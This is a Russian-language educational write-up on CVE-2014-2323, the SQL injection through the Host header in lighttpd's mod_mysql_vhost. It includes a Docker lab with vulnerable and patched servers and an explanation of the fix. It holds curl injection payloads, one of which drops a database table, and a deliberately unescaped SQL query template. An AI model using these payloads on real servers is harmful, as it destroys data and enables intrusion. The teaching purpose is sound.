
Образовательная демонстрация эксплуатации SQL-инъекции CVE-2014-2323 в mod_mysql_vhost веб-сервера lighttpd, с лабораторной средой на базе Docker для практического анализа уязвимости и её устранения.
title: Ep4 - Уязвимость, связанная с сетями members:
Связанная уязвимость:
CVE-2014-2323 [1] was assigned to SQL injection bug.
CVE-2014-2324 [2] was assigned to the path traversal bug.
Подтверждение: http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt
Эксплуатируемый сервис — Lighttpd. Это веб-сервер с открытым исходным кодом (лицензия BSD), оптимизированный для лёгкости и скорости. Он появился как «proof-of-concept» знаменитой проблемы c10k (как справиться с 10 000 одновременных соединений на сервере) и приобрёл большую популярность в то время (2003); сейчас используется Whatsapp.com, Xkcd, а в прошлом — Youtube. Его позиция на рынке довольно интересна, как можно увидеть на графике:

Сервер стремится решить проблему большого числа соединений с помощью асинхронных механизмов на основе событий (kqueue в BSD, epoll в Linux), снижая потребность во множестве потоков, что приводит к гораздо меньшему «следу» в памяти и лучшему использованию CPU (стратегия также применяется серверами Nginx, чьё использование значительно выросло с годами):

Одна из особенностей lighty — простое управление виртуальными хостами.
Это метод, используемый для размещения нескольких доменных имён, которые разрешаются в один и тот же IP, что снижает затраты на хостинг для компаний, предлагающих веб-сайты, поскольку не нужно резервировать выделенный сервер для каждого сайта.
Метод может быть основан на IP (отдельный интерфейс для каждого хоста) или на имени (одно имя для каждого хоста при совместном использовании интерфейса) — рассматривается в этой презентации.
Name-Based
: использует «Hostname», предоставленный клиентом, чтобы определить, какой сервис использовать для ответа. Этот метод имеет две сложности: проблемы с безопасными сеансами (TLS) — рукопожатие должно выполняться до любой передачи заголовка, указывающего серверу Host, что усложняет определение того, какой сертификат предъявить при рукопожатии. Одно из решений этой проблемы — расширение TLS под названием Server Name Indication (SNI), которое позволяет передавать имя в начале рукопожатия, давая возможность выбрать правильный сертификат. Вторая проблема касается попытки соединения без корректно заданного заголовка Host, что приводит к неопределённости используемого сервиса.
IP-Based
: использует отдельные IP-адреса для каждого приложения. Веб-сервер настраивается на несколько физических сетевых интерфейсов (или виртуальных на одном интерфейсе) и отвечает соответствующим образом в зависимости от IP-адреса (назначения).
IP aliasing позволяет создавать виртуальные интерфейсы для каждого сервиса.
В случае крупной компании управление таким сопоставлением может стать сложным в зависимости от числа клиентов. Lighty, как мы покажем далее, поддерживает использование базы данных для этой цели.
Сначала посмотрим, как «вручную» настроить сервер, а затем добавить vhosting.
Подготовить базовый сервер lighttpd очень просто. Достаточно установить его и создать файл конфигурации, который определяет используемый порт, как отвечать на определённые запросы и другие настройки.
Можно подготовить пример конфигурации, которая обрабатывает только запросы статических файлов (.html или .txt):
server.document-root = "/usr/lighttpd/mysite.com/"
server.port = 80
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain"
)
Представьте, что мы хотим создать бизнес по продаже сайтов и предоставляем покупателю собственный домен. Желая минимизировать расходы, мы хотим использовать vhosts для каждого клиента. Скажем, курс сетевой дисциплины хочет приобрести три веб-сайта: redes.io, mac0448.io и mac5910.io. Наша компания регистрирует домены, все они указывают на IP нашего единственного сервера с одним интерфейсом.
Прим.: чтобы это смоделировать, можно изменить файл /etc/hosts:
172.17.0.2 redes.io
172.17.0.2 mac0448.io
172.17.0.2 mac5910.io
Чтобы обслуживать разные сайты клиентов, разрешая их с одного IP, мы можем вручную настроить сервер:
server.document-root = "/usr/lighttpd/default/"
server.port = 80
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain"
)
$HTTP["host"] == "redes.io" {
server.document-root = "/usr/lighttpd/redes/"
} else $HTTP["host"] == "mac0448.io" {
server.document-root = "/usr/lighttpd/mac0448/"
} else $HTTP["host"] == "mac5910.io" {
server.document-root = "/usr/lighttpd/mac5910/"
}
Но, как можно представить, это становится проблемой, когда мы хотим работать со многими клиентами и предоставлять разные конфигурации каждому сайту, как упоминалось ранее.
С помощью модуля mod_mysql_vhost мы можем подключить наш сервер к базе данных mysql, отвечающей за такое сопоставление. Мы указываем имя базы данных, как найти её в нашей сети и какую команду использовать для поиска.
server.modules = (
"mod_accesslog",
"mod_mysql_vhost"
)
mysql-vhost.db = "NOME_DO_BANCO"
mysql-vhost.user = "USUARIO"
mysql-vhost.pass = "SENHA"
(!!!!!!!!!!!!!!!)
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
(!!!!!!!!!!!!!!!)
mysql-vhost.hostname = "HOSTNAME"
mysql-vhost.port = "PORTA"
SQL — это декларативный язык для управления реляционными базами данных, используемый (...) и т.д.
TODO
TODO
Проблемы возникают из-за того, что системы управления базами данных, использующие SQL, предполагают, что вводимые команды известны администратору и хорошо им управляются. Это предположение не всегда верно, поскольку ошибки в системах, взаимодействующих с СУБД, могут приводить к сбоям, особенно в вебе, где велико взаимодействие с пользователем.
Проблема с SQL-командами возникает, когда команды начинают строить из текста, введённого пользователем, будь то имя пользователя, пароль или любое другое динамическое содержимое.
(TODO)
Как решить? Экранированием.
В нашей конфигурации, например, есть большая брешь:
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
поскольку возможно (и так было до версии 1.4.34) ? может быть заменён любой командой и затем выполнен MySQL.
Давайте смоделируем это в сети с 3 контейнерами: один сервер mysql и два сервера lighttpd — один уязвимый и один исправленный.
Docker предоставляет уровень абстракции поверх операционной системы, который обеспечивает виртуализацию без необходимости в другой ОС за счёт механизмов изоляции, предоставляемых ядром, таких как cgroups (изоляция использования CPU, ввода-вывода, памяти и сетевых ресурсов для набора процессов) и namespaces (), устраняя тем самым все издержки запуска и поддержки виртуальной машины. Таким образом, достигается значительная оптимизация выделения ресурсов (например, 100 виртуальных машин с образами по 1 ГБ ==> 100 ГБ. 100 контейнеров из одного образа 1 ГБ ==> ~1 ГБ.) и совместное использование вычислений, как и самого ядра и операционной системы. Общие для контейнеров файлы также могут совместно использоваться через многослойную файловую систему.

Интересная аналогия для namespaces — chroot, который позволяет процессу воспринимать каталог как корень всей своей файловой системы, меняя его представление о системе (не затрагивая остальную систему). С помощью namespaces мы можем создать такое иное представление для различных других аспектов ОС, таких как дерево процессов, сетевые интерфейсы, ФС, IPC и другие.
(подробнее: Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces)
Следует учитывать, что иногда пользователь не хочет такого совместного использования и слабой изоляции.
При загрузке демона Docker на хосте настраивается виртуальный интерфейс docker0; выбирается подсеть, не используемая хостом, и интерфейсу назначается свободный IP. Напомним, что можно использовать один из трёх диапазонов:
The Internet Assigned Numbers Authority (IANA) has reserved the
following three blocks of the IP address space for private internets:
10.0.0.0 - 10.255.255.255 (10/8 prefix)
172.16.0.0 - 172.31.255.255 (172.16/12 prefix)
192.168.0.0 - 192.168.255.255 (192.168/16 prefix)
На моей машине, например:
docker0 Link encap:Ethernet HWaddr 02:42:58:ca:78:6d
inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0
inet6 addr: fe80::42:58ff:feca:786d/64 Scope:Link
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:74601 errors:0 dropped:0 overruns:0 frame:0
TX packets:98561 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4196391 (4.1 MB) TX bytes:380442767 (380.4 MB)
Для каждого контейнера, созданного с настройками сети по умолчанию, демон настраивает интерфейс на хосте (в примере ниже — verth5998947 для контейнера 1) (часть подсети docker0) и другой интерфейс в контейнере (eth0), а также изменяет конфигурацию iptables (позволяет администратору определять таблицы цепочек правил для обработки пакетов на хосте) и NAT, чтобы внешний трафик направлялся в контейнеры.

Демонстрация зависит от окружения с корректно настроенным docker на машине Linux. После этого нужно создать образ:
$ ./scripts/create-lighty-image.sh
Приведённая выше команда создаст образ на основе файла Dockerfile, содержащего исходный код обеих версий lighttpd: уязвимой и с исправленной ошибкой.
После этого можно запустить контейнеры, которые будут представлять вычислительные экземпляры, участвующие в демо, и базу данных, также изолированную как контейнер:
$ ./scripts/create-mysql-container.sh
$ ./scripts/create-lighty-container.sh vulnerable
$ ./scripts/create-lighty-container.sh patched
В результате получаем:
lighty-mysqlserver.lighty-vulnerable.lighty-patched.
Чтобы получить IP-адреса контейнеров, достаточно выполнить команду:
$ ./scripts/getips.sh
Docker container ip Addresses:
- lighty-vulnerable: 172.17.0.3
- lighty-patched: 172.17.0.4
- lighty-mysqlserver: 172.17.0.2
«Предполагаемые машины» готовы, осталось только настроить DNS, чтобы разрешение адресов выполнялось корректно. В этот момент можно было бы создать ещё один контейнер, посвящённый разрешению DNS-запросов с помощью сервера BIND, но для ускорения можно просто отредактировать /etc/hosts:
172.17.0.3 redes.io
172.17.0.3 mac0448.io
172.17.0.3 mac5910.io
Теперь нужно, чтобы сервер lighttpd мог выполнять виртуальный хостинг с использованием сервера mysql. Для этого нужно вставить записи в базу данных, чтобы наши серверы могли обрабатывать запросы в соответствии с БД (при использовании скриптов выше нет необходимости выполнять процедуру ниже — скрипт уже инициализирует таблицу):
$ docker exec -it lighty-mysqlserver bash
root@lighty-mysqlserver:/# mysql -u root -p
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| lighttpd |
| mysql |
| performance_schema |
| sys |
+--------------------+
mysql> use lighttpd;
mysql> mysql> CREATE TABLE domains(
-> domain varchar(64) not null primary key,
-> docroot varchar(128) not null
-> );
Query OK, 0 rows affected (0.04 sec)
mysql> INSERT INTO domains VALUES ('redes.io', '/usr/lighttpd/redes/');
mysql> INSERT INTO domains VALUES ('mac5910.io', '/usr/lighttpd/mac5910/');
mysql> INSERT INTO domains VALUES ('mac0448.io', '/usr/lighttpd/mac0448/');
mysql> SELECT * FROM domains;
+------------+------------------------+
| domain | docroot |
+------------+------------------------+
| mac0448.io | /usr/lighttpd/mac0448/ |
| mac5910.io | /usr/lighttpd/mac5910/ |
| redes.io | /usr/lighttpd/redes/ |
+------------+------------------------+
С этого момента серверы могут выполнять виртуальный хостинг на основе базы данных.
Атака заключается в эксплуатации ошибки на этапе разбора заголовка Host, отправляемого в HTTP-запросах с Host типа IPv6. Метод, отвечающий за разбор, позволяет считывать и интерпретировать как часть хоста и другие символы. Проблема в том, что, как показано ранее, в команде поиска виртуального хоста строка хоста подставляется вслепую (без экранирования) в SQL-команду:
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='QUALQUER_COISA_QUE_VENHA_NO_HOST';"
Корректный запрос даёт следующий поток пакетов, когда мы «нюхаем» стандартный интерфейс docker0, через который проходят все пакеты между контейнерами:

Разберём каждый компонент потока:
Корректно сформированный HTTP-запрос

Корректно сформированный MySQL-запрос

Ответ MySQL

Ответ HTTP

Затем мы можем эксплуатировать эту уязвимость.
С помощью curl можно формировать вредоносные запросы, как описано в подтверждении CVE.
$ ./scripts/exploit1
curl --header "Host: []' SINTAXE ERRADA" redes.io

Мы ясно видим, что есть уязвимость, которую можно эксплуатировать, поскольку внутренней ошибки сервера не должно быть. Протестируем тот же скрипт на сервере Google:
$ ./scripts/exploit2
curl --header "Host: []' SINTAXE ERRADA" www.google.com
<html><title>Error 400 (Bad Request)!!1</title></html>%
Подтверждаем, что можем эксплуатировать базу данных, анализируя запрос, сделанный к БД:
Некорректно сформированный MySQL-запрос

Ответ MySQL

Теперь можно перейти к разрушительным командам!
$ ./scripts/exploit3
curl --header "Host: []'; DROP TABLE domains;--'" redes.io
Вредоносный HTTP-запрос

Вредоносный MySQL-запрос

Ответ MySQL

И таблицы больше нет! Следовательно, сервер не сможет разрешать виртуальные хосты, кроме настроенного по умолчанию.
Поскольку наша база данных потеряла таблицу виртуальных хостов, нужно её восстановить. Для этого достаточно выполнить внутри контейнера процесс создания таблицы и вставки значений:
$ docker exec $DOCKER_MYSQL "bash" "-c" "mysql -u root -ptoor lighttpd < /db-init.sql"
Можно убедиться, что патч решает проблему, снова попытавшись выполнить атаку (теперь на исправленный сервер):
```sh
$ ./scripts/exploit4
curl --header "Host: []'; DROP TABLE domains;--'" redes.io
Затем мы выполняем вредоносный HTTP-запрос:
**Вредоносный HTTP-запрос к исправленному серверу**

Но посмотрим на поток пакетов в сети:
**Поток пакетов**

Как видно, поскольку пакет вредоносный, сервер сразу возвращает ошибку неверного формата запроса и не обращается к базе данных.
### Патч
Уязвимость проявляется в двух частях кода: в модуле `mod_mysql_vhost` (который в любом случае не должен интерпретировать переданное в этой части запроса как допустимую команду) и в обработке запросов `request.c`.
#### `mod_mysql_vhost.c`
В модуле решение проблемы простое: достаточно включить процедуру *экранирования*, предоставляемую MySQL; тогда, даже если будет вставлена вредоносная команда, с сервером ничего не случится (поскольку MySQL сообщит об ошибке).

#### `request.c`
В коде запроса есть обработка случая, когда после IPv6-адреса строка не заканчивается (то есть не содержит `\0`). До этого сервер мог корректно определять, является ли имя хоста допустимым по грамматике (в том числе принимая случаи, когда вместе с адресом передаётся порт), но когда порт не передавался (после допустимого IPv6) остаток строки после закрывающей скобки (которая указывает конец адреса) не удалялся.
Таким образом:

проверяется этот случай.
> Коммиты:
> - исправленная версия: 1.4.35 - d1a23569161148f5acde8d4a6fb78c44284e1853
> - неисправленная версия: 1.4.32 - 3ca6adc2332be2ca18b66698a759fae5831f164f
## Ресурсы
- http://www.linuxjournal.com/content/concerning-containers-connections-docker-networking
- http://lighttpd.net/